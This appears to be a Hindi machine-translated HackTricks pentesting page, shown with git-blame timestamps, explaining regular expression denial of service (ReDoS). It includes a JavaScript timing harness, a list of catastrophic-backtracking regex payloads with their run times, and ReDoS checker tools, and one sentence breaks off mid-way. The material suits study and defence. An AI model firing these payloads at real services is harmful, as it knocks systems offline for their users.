hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

90 lines
9.9 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# नियमित अभिव्यक्ति सेवा - रीडॉस
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## परिचय
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
**कॉपी किया गया है** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
2021-01-26 13:53:03 +00:00
2023-11-06 08:38:02 +00:00
**नियमित अभिव्यक्ति सेवा रीडॉस (ReDoS)** एक [सेवा की अस्वीकृति](https://owasp.org/www-community/attacks/Denial\_of\_Service) हमला है, जो इस तथ्य का उपयोग करता है कि अधिकांश नियमित अभिव्यक्ति कार्यान्वयन अत्यंत स्थितियों तक पहुंच सकते हैं जो उन्हें बहुत धीमे रूप से काम करने के कारण बनाती है (इनपुट आकार के गणितीय रूप से संबंधित होती है)। एक हमलावर फिर एक नियमित अभिव्यक्ति का उपयोग करने वाले कार्यक्रम को इन अत्यंत स्थितियों में प्रवेश कराकर बहुत लंबे समय तक लटका सकता है।
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
### विवरण
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
#### समस्यापूर्ण रेगेक्स नैव एल्गोरिदम <a href="#the-problematic-regex-naive-algorithm" id="the-problematic-regex-naive-algorithm"></a>
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
नियमित अभिव्यक्ति नैव एल्गोरिदम एक [अनिश्चित सीमित स्थिति मशीन (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine) बनाता है, जो एक सीमित स्थिति मशीन है जहां प्रत्येक राज्य और इनपुट प्रतीक के लिए कई संभावित अगले राज्य हो सकते हैं। फिर इंजन इनपुट के अंत तक संक्रमण करना शुरू करता है। क्योंकि कई संभावित अगले राज्य हो सकते हैं, एक निर्धारित एल्गोरिदम का उपयोग किया जाता है। यह एल्गोरिदम एक-एक करके सभी संभावित पथों की कोशिश करता है (यदि आवश्यक हो) जब तक एक मिलान नहीं मिलता है (या सभी पथों की कोशिश करके विफल हो जाती है)।
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
उदाहरण के लिए, रेगेक्स `^(a+)+$` निम्नलिखित NFA द्वारा प्रतिष्ठित किया जाता है:
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
![अनिश्चित सीमित स्थिति मशीन](https://owasp.org/www-community/assets/images/attacks/NFA.png)
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
इनपुट `aaaaX` के लिए उपरोक्त ग्राफ में 16 संभावित पथ हैं। लेकिन `aaaaaaaaaaaaaaaaX` के लिए 65536 संभावित पथ हैं, और प्रत्येक अतिरिक्त `a` के लिए यह संख्या दोहरी होती है। यह एक अत्यंत मामला है जहां नैव एल्गोरिदम समस्यापूर्ण होता है, क्योंकि इसे बहुत सारे पथों पर जाना होता है, और फिर विफल हो जाता है।
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
ध्यान दें, सभी एल्गोरिदम नैव नहीं होते हैं, और वास्तव में रेगेक्स एल्गोरिदम को एक कुशल तरीके से लिखा जा सकता है। दुर्भाग्य से, आजकल अधिकांश रेगेक्स इंजन पूरी तरह से "शुद्ध"
### ReDoS इनपुट और रेजेक्स को नियंत्रित करना
2021-01-26 13:51:43 +00:00
2023-11-06 08:38:02 +00:00
निम्नलिखित हैं **ReDoS** उदाहरण जहां आप **इनपुट** और **रेजेक्स** दोनों को **नियंत्रित** करते हैं:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2023-11-06 08:38:02 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2023-11-06 08:38:02 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2023-11-06 08:38:02 +00:00
## उपकरण
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का पालन करें।**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>